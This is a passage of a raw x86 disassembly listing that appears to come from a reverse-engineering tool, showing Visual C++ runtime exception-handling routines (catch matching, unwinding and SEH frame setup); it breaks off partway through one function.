arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41E8F4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417D40
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4199F0
		add	esp, 10h
		pop	esi


loc_41E8F4:				; CODE XREF: sub_41E8D1+7j
		pop	edi
		retn
sub_41E8D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8F6	proc near		; CODE XREF: .nsp0:004196A0p
					; sub_419709+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41E90C
		call	sub_41F192


loc_41E90C:				; CODE XREF: sub_41E8F6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41E934
		cmp	dword ptr [esi+4], 0
		jz	short loc_41E98A
		cmp	[ebp+arg_14], 0
		jnz	short loc_41E98A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41EC3D
		add	esp, 10h
		jmp	short loc_41E98A
; ---------------------------------------------------------------------------


loc_41E934:				; CODE XREF: sub_41E8F6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41E98A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41E96E
		cmp	[eax+14h], edi
		jbe	short loc_41E96E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41E96E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41E98D
; ---------------------------------------------------------------------------


loc_41E96E:				; CODE XREF: sub_41E8F6+4Aj
					; sub_41E8F6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E991
		add	esp, 20h


loc_41E98A:				; CODE XREF: sub_41E8F6+23j
					; sub_41E8F6+29j ...
		push	1
		pop	eax


loc_41E98D:				; CODE XREF: sub_41E8F6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41E8F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E991	proc near		; CODE XREF: sub_41E8F6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41E9B1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41E9B6


loc_41E9B1:				; CODE XREF: sub_41E991+16j
		call	sub_41F192


loc_41E9B6:				; CODE XREF: sub_41E991+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41EB0D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41EA2A
		cmp	[esi+14h], edi
		jnz	short loc_41EA2A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41EA2A
		mov	esi, dword_4DCE1C
		test	esi, esi
		jz	loc_41EB08
		mov	eax, dword_4DCE20
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_421380
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41EA0C
		call	sub_41F192


loc_41EA0C:				; CODE XREF: sub_41E991+74j
		cmp	[esi], ebx
		jnz	loc_41EB0D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41EA2A
		cmp	[esi+14h], edi
		jnz	short loc_41EA2A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41EA2A
		call	sub_41F192


loc_41EA2A:				; CODE XREF: sub_41E991+41j
					; sub_41E991+46j ...
		cmp	[esi], ebx
		jnz	loc_41EB0D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41EB0D
		cmp	[esi+14h], edi
		jnz	loc_41EB0D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_419857
		add	esp, 14h
		mov	ebx, eax


loc_41EA61:				; CODE XREF: sub_41E991+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41EAF8
		cmp	[ebx], edi
		jg	short loc_41EAED
		cmp	edi, [ebx+4]
		jg	short loc_41EAED
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41EAEA


loc_41EA86:				; CODE XREF: sub_41E991+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41EAB7


loc_41EA98:				; CODE XREF: sub_41E991+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41EBE0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41EAC6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41EA98


loc_41EAB7:				; CODE XREF: sub_41E991+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41EA86
		jmp	short loc_41EAEA
; ---------------------------------------------------------------------------


loc_41EAC6:				; CODE XREF: sub_41E991+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41ECF1
		add	esp, 2Ch


loc_41EAEA:				; CODE XREF: sub_41E991+F3j
					; sub_41E991+133j
		mov	edi, [ebp+var_10]


loc_41EAED:				; CODE XREF: sub_41E991+DEj
					; sub_41E991+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41EA61
; ---------------------------------------------------------------------------


loc_41EAF8:				; CODE XREF: sub_41E991+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41EB08
		push	1
		push	esi
		call	sub_41F066
		pop	ecx
		pop	ecx


loc_41EB08:				; CODE XREF: sub_41E991+56j
					; sub_41E991+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41EB0D:				; CODE XREF: sub_41E991+37j
					; sub_41E991+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41EB33
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41EB38
		add	esp, 20h
		jmp	short loc_41EB08
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41E991+180j
		jmp	sub_41F13C
sub_41E991	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB38	proc near		; CODE XREF: sub_41E991+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DCE24, 0
		push	esi
		push	edi
		jz	short loc_41EB69
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41972E
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41EBDC


loc_41EB69:				; CODE XREF: sub_41EB38+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_419857
		add	esp, 14h
		mov	esi, eax


loc_41EB85:				; CODE XREF: sub_41EB38+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41EBDC
		cmp	edi, [esi]
		jl	short loc_41EBD4
		cmp	edi, [esi+4]
		jg	short loc_41EBD4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41EBAE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41EBD4


loc_41EBAE:				; CODE XREF: sub_41EB38+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41ECF1
		add	esp, 2Ch


loc_41EBD4:				; CODE XREF: sub_41EB38+57j
					; sub_41EB38+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41EB85
; ---------------------------------------------------------------------------


loc_41EBDC:				; CODE XREF: sub_41EB38+2Fj
					; sub_41EB38+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41EB38	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBE0	proc near		; CODE XREF: sub_41E991+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41EC37
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41EC37
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41EC11
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41EC33


loc_41EC11:				; CODE XREF: sub_41EBE0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41EC1B
		test	byte ptr [edi],	8
		jz	short loc_41EC33


loc_41EC1B:				; CODE XREF: sub_41EBE0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41EC2A
		test	byte ptr [edi],	1
		jz	short loc_41EC33


loc_41EC2A:				; CODE XREF: sub_41EBE0+43j
		test	al, 2
		jz	short loc_41EC37
		test	byte ptr [edi],	2
		jnz	short loc_41EC37


loc_41EC33:				; CODE XREF: sub_41EBE0+2Fj
					; sub_41EBE0+39j ...
		xor	eax, eax
		jmp	short loc_41EC3A
; ---------------------------------------------------------------------------


loc_41EC37:				; CODE XREF: sub_41EBE0+Bj
					; sub_41EBE0+14j ...
		push	1
		pop	eax


loc_41EC3A:				; CODE XREF: sub_41EBE0+55j
		pop	edi
		pop	esi
		retn
sub_41EBE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC3D	proc near		; CODE XREF: sub_41E8F6+34p
					; sub_41ECF1+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248B8
		push	offset sub_41FFCC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41EC6F:				; CODE XREF: sub_41EC3D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41ECC9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41EC7E
		cmp	esi, [edi+4]
		jl	short loc_41EC83


loc_41EC7E:				; CODE XREF: sub_41EC3D+3Aj
		call	sub_41F192


loc_41EC83:				; CODE XREF: sub_41EC3D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41EC9E
		push	103h
		push	ebx
		push	eax
		call	sub_41F0F0


loc_41EC9E:				; CODE XREF: sub_41EC3D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41ECBE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41ECDB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41ECBE:				; CODE XREF: sub_41EC3D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41EC6F
; ---------------------------------------------------------------------------


loc_41ECC9:				; CODE XREF: sub_41EC3D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECDB	proc near		; CODE XREF: sub_41EC3D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41ECEC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41ECEC:				; CODE XREF: sub_41ECDB+Cj
		jmp	sub_41F13C
sub_41ECDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ECF1	proc near		; CODE XREF: sub_41E991+151p
					; sub_41EB38+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41ED13
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41EEA2
		add	esp, 10h


loc_41ED13:				; CODE XREF: sub_41ECF1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41ED1F
		push	edi
		jmp	short loc_41ED22
; ---------------------------------------------------------------------------


loc_41ED1F:				; CODE XREF: sub_41ECF1+29j
		push	[ebp+arg_24]


loc_41ED22:				; CODE XREF: sub_41ECF1+2Cj
		call	sub_419630
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41EC3D
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41ED6C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41ED67
		push	edi
		push	eax
		call	sub_4195EE


loc_41ED67:				; CODE XREF: sub_41ECF1+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41ECF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED6C	proc near		; CODE XREF: sub_41ECF1+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248C8
		push	offset sub_41FFCC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DCE1C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DCE20
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DCE1C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DCE20, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_4196B5
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41EE32
		mov	eax, [ebp+var_2C]


loc_41EDF9:				; CODE XREF: sub_41EE12+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE08	proc near		; DATA XREF: .nsp0:004248D8o
		push	dword ptr [ebp-14h]
		call	sub_41EE78
		pop	ecx
		retn
sub_41EE08	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE12	proc near		; DATA XREF: .nsp0:004248DCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_419916
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41EDF9
sub_41EE12	endp

; ---------------------------------------------------------------------------


loc_41EE2A:				; DATA XREF: .nsp0:004248D0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41EE32	proc near		; CODE XREF: sub_41ED6C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DCE1C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DCE20, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41EE77
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41EE77
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41EE77
		cmp	[ebp-24h], ebx
		jnz	short locret_41EE77
		cmp	[ebp-2Ch], ebx
		jz	short locret_41EE77
		call	sub_41997E
		push	eax
		push	edi
		call	sub_41F066
		pop	ecx
		pop	ecx

locret_41EE77:				; CODE XREF: sub_41EE32+1Cj
					; sub_41EE32+22j ...
		retn
sub_41EE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE78	proc near		; CODE XREF: sub_41EE08+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41EE9F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41EE9F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41EE9F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41EE9F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41EE9F:				; CODE XREF: sub_41EE78+Cj
					; sub_41EE78+12j ...
		xor	eax, eax
		retn
sub_41EE78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EEA2	proc near		; CODE XREF: sub_41ECF1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248E0
		push	offset sub_41FFCC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41F04B
		cmp	byte ptr [eax+8], 0
		jz	loc_41F04B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41F04B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41EF3F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_421380
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41F042
		push	1
		push	edi
		call	sub_42139C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41F042
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41EF30:				; CODE XREF: sub_41EEA2+F5j
		push	eax
		call	sub_41F0CD
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41F047
; ---------------------------------------------------------------------------


loc_41EF3F:				; CODE XREF: sub_41EEA2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41EF99
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_421380
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41F042
		push	1
		push	edi
		call	sub_42139C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41F042
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4199F0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41F047
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41F047
		add	esi, 8
		push	esi
		jmp	short loc_41EF30
; ---------------------------------------------------------------------------


loc_41EF99:				; CODE XREF: sub_41EEA2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41EFE1
		call	sub_421380
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41F042
		push	1
		push	edi
		call	sub_42139C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41F042
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41F0CD
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4199F0
		add	esp, 0Ch
		jmp	short loc_41F047
; ---------------------------------------------------------------------------


loc_41EFE1:				; CODE XREF: sub_41EEA2+103j
		call	sub_421380
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41F042
		push	1
		push	edi
		call	sub_42139C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41F042
		push	dword ptr [esi+18h]
		call	sub_4213B8
		pop	ecx
		test	eax, eax
		jz	short loc_41F042
		test	byte ptr [esi],	4
		jz	short loc_41F028
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41F0CD
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_419629
		jmp	short loc_41F047
; ---------------------------------------------------------------------------


loc_41F028:				; CODE XREF: sub_41EEA2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41F0CD
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_419622
		jmp	short loc_41F047
; ---------------------------------------------------------------------------


loc_41F042:				; CODE XREF: sub_41EEA2+6Aj
					; sub_41EEA2+7Cj ...
		call	sub_41F192


loc_41F047:				; CODE XREF: sub_41EEA2+98j
					; sub_41EEA2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41F04B:				; CODE XREF: sub_41EEA2+2Ej
					; sub_41EEA2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EEA2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41F13C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F066	proc near		; CODE XREF: sub_41E991+170p
					; sub_41EE32+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248F0
		push	offset sub_41FFCC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41F0AD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41F0AD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_419622
		or	[ebp+var_4], 0FFFFFFFFh


loc_41F0AD:				; CODE XREF: sub_41F066+2Aj
					; sub_41F066+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F066	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41F13C

; =============== S U B	R O U T	I N E =======================================



sub_41F0CD	proc near		; CODE XREF: sub_41EEA2+8Fp
					; sub_41EEA2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41F0EE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41F0EE:				; CODE XREF: sub_41F0CD+12j
		pop	esi
		retn
sub_41F0CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F0F0	proc near		; CODE XREF: sub_4196B5+40p
					; sub_41EC3D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_4199A1
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41F12F
		mov	ecx, 2


loc_41F12F:				; CODE XREF: sub_41F0F0+38j
		push	ecx
		call	sub_4199A1
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41F0F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F13C	proc near		; CODE XREF: sub_41E991:loc_41EB33j
					; sub_41ECDB:loc_41ECECj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004213D0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424900
		push	offset sub_41FFCC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
